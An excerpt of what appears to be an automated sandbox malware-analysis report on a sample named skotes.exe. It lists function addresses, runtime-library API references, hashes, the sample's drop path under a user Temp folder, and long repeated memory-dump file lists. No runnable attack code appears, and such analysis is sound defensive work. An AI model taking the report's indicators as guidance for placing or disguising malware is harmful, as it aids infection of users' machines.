Part of subcall function 0011F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0011F8AC
Part of subcall function 0011F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0011F8B7

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 9219124e2024e216f3c6ab1573665ca36c31b9a2b658a55c0b58cbc3767f438c
Instruction ID: e452a7cd1eb8431b8f9f679badaa625d41f1f2c3cedbf806dfc0623b82245680
Opcode Fuzzy Hash: 9219124e2024e216f3c6ab1573665ca36c31b9a2b658a55c0b58cbc3767f438c
Instruction Fuzzy Hash: 21E04F34900615ABCB09FB60D4555EDBB61BFA4360B14832DE465176E2CF346E87CB85

Function 0013DFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0013DFE8

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 0672e46802e9b1461ffd9111ae20ac793fd480c825d0fdd52d3fb9caf51f87fb
Instruction ID: 89a4fb919b068d08b9ac6d1f7bf639bc2cb534b03037013c4c56d4e485af3fcf
Opcode Fuzzy Hash: 0672e46802e9b1461ffd9111ae20ac793fd480c825d0fdd52d3fb9caf51f87fb
Instruction Fuzzy Hash: 0A215E7170430DAFEB38AE659C81E6B77EDAF11368F104614F928961D2F7A1ED0087A1

Function 00131704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00131764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001317AF

Strings

pContext, xrefs: 001317A7

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: fe4152939d26306734f84be14cd8ab1cd8e45e790977df523afb7d594fd1eb5f
Instruction ID: 6ad6666483441d18b72113eb1527471bec447f75f3498962c948c47453a1022b
Opcode Fuzzy Hash: fe4152939d26306734f84be14cd8ab1cd8e45e790977df523afb7d594fd1eb5f
Instruction Fuzzy Hash: 17113B3AA00214FBCF1AFF58C88556D77A5AF98361F094465EC12AB342DB74DD05CBD0

Function 0012B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0012B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0012B961

Strings

pContext, xrefs: 0012B959

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 4f9b7a5dd197ec8b0ffcd9c74971fe0610618877f4ce1a406dbddf9173bffbf1
Instruction ID: aeec63c0ca44d777ac34ddee1abb554f6a608eb3d94ef21535fa8ef47a6224ee
Opcode Fuzzy Hash: 4f9b7a5dd197ec8b0ffcd9c74971fe0610618877f4ce1a406dbddf9173bffbf1
Instruction Fuzzy Hash: 1DE0D83DB40214BBCF05B7A4E849C9DF7B9AFD4715B044125FA21A7391EB70AA45CAD0

Function 001234CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001234FC

Strings

pScheduler, xrefs: 001234F4
version, xrefs: 001234E1

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 16f4588ffba74b578b68c401595c7364f97c3a653c3af7354f323ca97d2f4a8a
